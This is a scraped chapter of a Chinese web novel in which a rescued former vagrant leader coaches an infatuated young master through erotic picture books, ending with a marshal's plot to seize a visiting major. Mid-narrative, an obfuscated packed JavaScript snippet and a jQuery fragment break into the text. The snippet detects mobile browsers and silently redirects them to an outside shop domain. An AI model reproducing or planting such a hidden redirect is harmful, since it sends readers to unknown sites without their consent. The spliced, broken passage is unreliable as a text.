爱情是一只自由不羁的飞鸟。
谁也无法驯服。
倘若不是它心之所选,任何强迫乞讨都是徒劳。
而它爱的那个,什么也不用说,什么也不用做,就已赢过世上情种千万个……
人脑这个刁钻的神奇器官,像位看热闹不嫌事大的办事员,平时无情无义无偏好地收罗记忆,多到脑袋的所属人只能用遗忘去扩充容量。
偏生到某些时刻,它又假正经地拉开抽屉,甩出一些烫手山芋般的节选。
陪同苏洛小少爷学习教材的三天,谢云哲不止一次痛恨上他过目不忘的记忆力。
那几箱色|情文献如今只能勉强算进理由,因为他看来看去最后硬是练脱敏了。
“哇——原来珍珠项链还可以这样用啊,想出这些花样的人,脑袋真不知道是怎么长的。”
圆桌对面,小少爷捧着画册赞叹,也让心情复杂的谢云哲从上一阶段的发呆跳出。
跳出,然后抬头,他注视着对方立马落进下一个思绪深坑。
人到底是怀着什么样的心情,抱有何种期待,才会如此开心地研读夸张的性||爱文章。
自己不曾切身体验过性和爱的任意一种,那被谢云哲归为‘看过但无用’的记忆抽屉又不怀好意地弹开。
里面装着他养父母的藏书,一些陈旧的文学翻译资料。
——而它爱的那个,什么也不用说,什么也不用做,就已赢过世上情种千万个
资料里唯独这行着重标红,格外醒目,神经质地在他耳边循环。
只怪眼下的情形实在太贴合那段文字了。
“喂,你说我是不是要主动一点才好呢?还是接|吻时先矜持点,然后等对方有感觉了再慢慢迎合,书上都是这么说的,要做足前|戏才愉快。”
苏洛含着棒棒糖咨询他,神情自在,仿佛是在问哪件衣服更衬托自己的气色。
谢云哲感到自己的脸在干巴巴地笑,挤出一点近乎哀求的声音。
“苏洛少爷,您不觉得,您现在想这些……太早了吗?”
他眼前的青年压低书脊露出半张脸,不满地咂咂嘴,呼出莓果味的气息。
“哪里早了,和喜欢的人做这些事,不是很正常?另外我也成年了。”
正常的人不会变出十几条触手然后把伴侣全身上下的洞都堵住的!
也不会专门找一个被阉的残疾人,让发||情中的伴侣坐上去只能蹭不能纾解,然后自己在旁边看的!
咽下喉咙里徘徊已久的呐喊,谢云哲决心改换战略,干咳一声清嗓子。
“您说得对,但是两个人在进行这事之前,总得有增进情感的环节。不然只是单纯的,呃,性|伴|侣了。”
苏洛听得认真,嘴里传出喀哒一声,是糖果脆裂的动静。
“那——性|伴|侣不也是伴侣嘛。”他说出更‘脆裂’的话,不三不四的无知歪理。
谢云哲:“这……”
几分钟内调匀呼吸数次,笑容坚硬得快让脸庞脱水,谢云哲深感这是他成为游民领袖以来做过最艰难的谈判,没有之一。
获得前情提要,他大致推断出苏洛的心理。
由于痴迷于一个未曾见过的男人,还是名望家底皆优于自己的天之骄子,依靠‘婚约’得到对方的安全感不足以支撑他熬过等待的时光。
毕竟,婚约这种看似牢固实则虚无的东西,随时都能单方面解除。
被踢掉的弗雷泽·普莱德就是前例。
陷于爱情漩涡,心智尚未成熟的小少爷就先接连遭遇人生重大事故,如今只会更迫切地,也就是不计一切代价地想绑住这段关系。
将人拴在身边,或者把自己绑在对方身上。
合理,但绝不合适长久发展。
不是兄长,却担了身为兄长的那份顾虑和压力,谢云哲捏捏眉心继续开导。
“嗯,您说得有一定道理,但您终究是要和伊诺克少校成家的。所以,您其实不必往那方面考虑。”
见青年撅着嘴沉思,他立刻加足马力。
“而且您不是想与少校两情相悦吗?这就不能操之过急,得一步一步来,比如先聊聊天,互相谈喜欢的食物颜色,兴趣爱好之类,再往后就是认识到彼此的缺点和厌恶什么,加深了解……”
有朝一日扮演起情感大师,谢云哲的感言只有哭笑不得一词。
他以再三忠告过的‘慢慢来’作结尾,忐忑地看听众又拆开一颗糖放进嘴中。
为方便说话,小少爷舌头卷动,口中的糖挪到右侧含住,脸颊鼓起半球型的弧度。
“但是,只要是伊诺克大人的,我都喜欢,都想要啊。他让我做什么我都愿意,死也可以哦。”
认清苏洛的爱恋程度,谢云哲胸口滞塞,不知是第几次扶额沉默。
这一刻他特别想见苏霆,好问清楚堂堂一家之主是怎么抚养‘弟弟’长大,又是怎么塑造恋爱观的。
好在得知他的不婚意愿,小少爷不再如之前仇视他。
于是借着指导的名义,谢云哲试探道。
“请问,苏洛少爷,您到底喜欢少校什么地方?有什么特殊的契机吗?”
这为爱盲目的青年表情顿时一变,像藏坚果的松鼠警觉地立起耳朵,直勾勾盯着异响处。
他要比松鼠直接也大胆多了,张嘴就问。
“你想知道这做什么?”
把话自动翻译成‘你难道想跟我抢人’,谢云哲用力甩头解释,“我只是帮您分析罢了,或许还能帮您判断出来那位的偏好提前做参考。”
伊诺克少校简直是味万能灵药,前一秒苏洛的目光还似剑刃冰冷,后一秒又软成棉花糖,团满梦幻的甜丝。
他接着满面春色道出理由。
“因为,他现在是最厉害最有潜力的人嘛,还是普莱德大元帅钦定的继承人,强大善良,聪慧博学,以后肯定是世界第一alpha。”
虽有预感,可真听完整段话,谢云哲不出意外地词穷了。
这小少爷怕不是把崇拜和爱慕混淆了吧?
想到这谢云哲不禁笑出声,很莫名其妙的。
他刚觉得自己接下来能大展身手,好好掰正对方的观念,却又听人说道。
“只要我跟伊诺克大人结婚,大元帅就不会再讨厌大哥他们,也会愿意出兵帮忙赶走西边山上的坏蛋了吧,他们整天抢东西抢人回去,大哥可头疼了。”
谢云哲蓦地敛声,原因与此前的每一次截然不同。
西边山上的坏蛋——索拉兵团,他也有所耳闻。
正是他们一年前掳走苏洛使人重伤,后来二次袭击导致其瘸腿,就结果上看,这已是最幸运的了。
多数被兵团带走的人,不论身份性别,能够完好地活着回来已是奇迹。
他们绑架苏洛的原因,众人了然于心。
不是他做了或说了什么才招人恨,仅仅因为他是‘苏洛’,是苏霆的弟弟,是率领北军的家族一员。
如果没有十八年前的交换意外,那么今天瘸腿的就是现在‘谢云哲’。
就算他凭能力躲过这一劫,可只要那批穷凶恶极的暴徒多存在一天,危险就仍如影随形。
纸页摩擦窸窸窣窣,小少爷重新翻动着书籍,仍旧兴致盎然。
而谢云哲视线落向旁边,掩藏着眼眸深处的动摇。
他混乱杂沓的念头里,唯有一条被他牢牢抓住。
为什么他始终无法对苏洛真正动怒,甚至还有几分偏袒?
因为在他看来,是对方代他承受了与颠沛流离相当的残忍考验,另一种并不平静的生活。
就连他最讨厌的冰雪,这人也直面了十八年,渐渐地习以为常。
虽然他也曾经历过痛苦,也有绝望到想叱问上天的时候,但无论是他还是苏洛,都不应以过去的苦难记恨对方,指责谁盗取了谁的人生。
真正错的,该是居心不良的罪犯,那名交换者。
情绪惨遭调动,相当于犯了谈判桌上的大忌,谢云哲的劝导计划B也因此陷入僵局。
要不,还是先算了?
他端起茶杯送到嘴边,默默地心理斗争。
等小少爷见到伊诺克·普莱德的真面目时,他再趁机点醒几句。
再说以苏霆元帅对苏洛宠爱的程度,应该也不会放任不管的……
“你看你看!这个怎么样!你觉得合适我穿吗?看起来好有意思哎,可以当新婚当晚的战衣!”
小少爷不知看到什么,急不可耐地拍桌唤声。
谢云哲来不及放下茶杯,抬眼一瞧瞬间五雷轰顶。
只见图册上,一名身量相貌与苏洛相当的青年跪立着微微仰头,眼神迷离。
他的衣着可以形容为除了空气什么都没穿,仅有的几条布还是该叫绳链的东西缠在颈间,圈住腿根,随便扯两下就能带走重点部位前的羽毛织物。
稍微再用力或动作再粗暴点,就能像撕掉鸡蛋外的一层薄膜,瞬间剥光全身。
不,其实脱不脱光都没差别。
画中人早已摆出欢|好的姿势——腰肢下塌,后臀翘起,只等着谁来采撷,共同沉沦快意。
而表情迥然,脸蛋相似的小少爷把画比在耳边。
“怎么样,是不是很适合当我的战衣!”
“咳、噗——”
三天的脱敏训练瞬间因为过度相似的脸归零,谢云哲一呛猛扭头,好歹及时转向地面喷茶,而不是满桌书画或者心花怒放的苏洛。
可他这一口呛得太厉害,不仅半天没缓过神,还让他像差点溺毙的人头晕眼花,语言能力全破碎。
平日细白的脸孔也惨遭毒害,酒红紫青墙皮白,各种色调轮换。
前所未有的狼狈一度让谢首领自暴自弃,干脆忘了恭敬。
他弯着腰捂着嘴,就只是放空大脑,拼命删除危险的禁忌画面。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176281|150591||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>在这最需要谁发狠咒骂他,能让他借机溜走的时候,他偏偏捕捉到一声轻如飘羽的低笑。
随后,便是一句——
“啧,真脏啊。”
非嘲讽也非愠怒,上扬的尾音如同整蛊得逞后的欢愉,也有点像性|事过半时的中场调|情。
还在咳嗽的谢云哲猛掐大腿,头压得更低了。
他的记忆抽屉瞬间开得乱七八糟,飞出来的全是涂满色|欲肉|体的废稿。
有那么一瞬间,他甚至觉得那句‘真脏’是在指桑骂槐。
是在说他脑中不为人知,就连他自己也没发觉的深层妄念。
人果然不能看太多‘脏东西’啊!
这边的谢云哲还在为平复情绪做斗争,那边的小少爷已看够他的出糗,瞄了一眼远处的小钟楼。
“啊,快到大哥回来的时间了,我自己去见他,你留在这帮我藏好这些宝贝哦,不许给别人看到。”
谢云哲坐正几分点头,但仍旧躲避对视。
他相似的乌黑眼眸中尽是挫败,实在羞于见人。
这幅模样,独自转动轮椅,从走廊尽头拐入密室的小少爷有一条专门的形容。
“有色心没色胆,假正经真流氓,和哥哥闷骚男半斤八两,一脉相承。”
话音刚落,憋笑的人轮到季参谋,让他差点打翻茶壶。
“噗!”
秘密会谈室只有三人,季宇飞无需掩饰,狭长狐狸眼朝旁座上的某位元帅一眨。
“血缘真是很奇妙的东西啊,就算分隔两地从未见过面,有些该像的地方一点没少。您说是么,苏元帅。”
他的幸灾乐祸被对方无视。
看来论脸皮厚度,谢云哲还是略逊亲哥一筹,哪怕被两双嘲弄的眼睛盯着,苏霆也能处变不惊地说正事。
“已经确定好时间了。昨天夜里九点伊诺克·普莱德出发,将代理大元帅巡访,最后一站就是我们这,留驻时间不定。”
“而既然是代理,他的出行也是按最高等级准备。”季宇飞无缝切换,端来茶直接口述,“我参考往年的数据推算,今年预计会有一百五十到两百左右的精锐兵种随行,火力规模足够进行六天的交战。不出意外,这次他们会启用那边新复原的战甲三代。”
但设计上,那比帝国强盛时期的外骨骼战斗机相差许多,坦白来讲,不过是需要多人配合操作的大型战车罢了。
轮椅吱呦吱呦响,是小少爷苏洛,或该说苏罗正绕着地毯边缘转圈。
他最后停在螺纹与镶边的中间,双脚踩实起立。
“哦?也就是说,是他们准备的聘礼喽?”
房中一时无人应声,这不是意味着默认就是代表不情愿却无法反驳。
一如既往地,只有苏霆还会义正言辞地‘挣扎’一小下。
“那只是意为交好的见面礼罢了。虽说我们自己建立了信号源和屏蔽墙,但他们也会通过其他渠道察觉斯卡蒂的变化,自然不敢再轻视这次会面,与我们撕破脸。”
说完似是觉得心虚,他飞快一扫徐徐走来的人影,但又不死心地盯着地板继续动嘴。
“所以,我们没必要太迎合他们,尤其是巡视的代表人。”
“什么代表人啊,那可是伊诺克阁下,是我每天睡前会想到,梦里会见到,恨不得马上就相见相亲的未婚夫啊。你是舍不得了吗,大哥?”
戏谑的口吻仿佛是同时讥笑话里提到的两人,而今天唯一在场的苏霆欲言又止,攥着的手套已快被他挤弄成麻团。
忽然间,他旁边的沙发座位陷了下去,间隔近到他能感受出另一具身躯散发的体温。
“如果是我最爱的大哥要求我,那我说不定会再犹豫一下哦。”
这么说的苏罗霸坐一旁,右手搭在苏霆后方的靠枕上,他翘着腿好不悠闲,硬是把人高马大的苏元帅衬成了遭他调戏的那方。
若是在密室外,当着谢云哲等人的面,苏霆自然能说得出来,也能做出更多符合设定的亲密行为。
可现在界线划清,身份明晰,他只浅浅地笑了笑,转而接话道。
“既然你已定好计划,我们也经过多次商议调整,哪有为我一句胡话就大改或放弃执行的道理。”
似是早有预料,苏罗摊手看向季宇飞,后者也耸肩摇头,不知在故作惋惜什么。
看着这俩沆瀣一气的同谋,苏霆远程跟谢云哲同步上了,一味地用其余事来转移注意力。
不过,相比亲弟弟烦恼的‘色|图一百零八式’,他心里揣着的东西可要胆大包天得多了。
“那么,已经可以回去叫他们准备起来了。”
苏霆将捏皱的手套一丢,唇角不自觉地挂起一点弧度,颇有他如今侍奉的‘王’,亦是他万般宠爱的假弟弟的狂妄影子。
而他不禁也发出低沉短促的笑,道出本次的行动概要。
“捕获伊诺克·普莱德,挟持并彻底掌控巡视队伍。”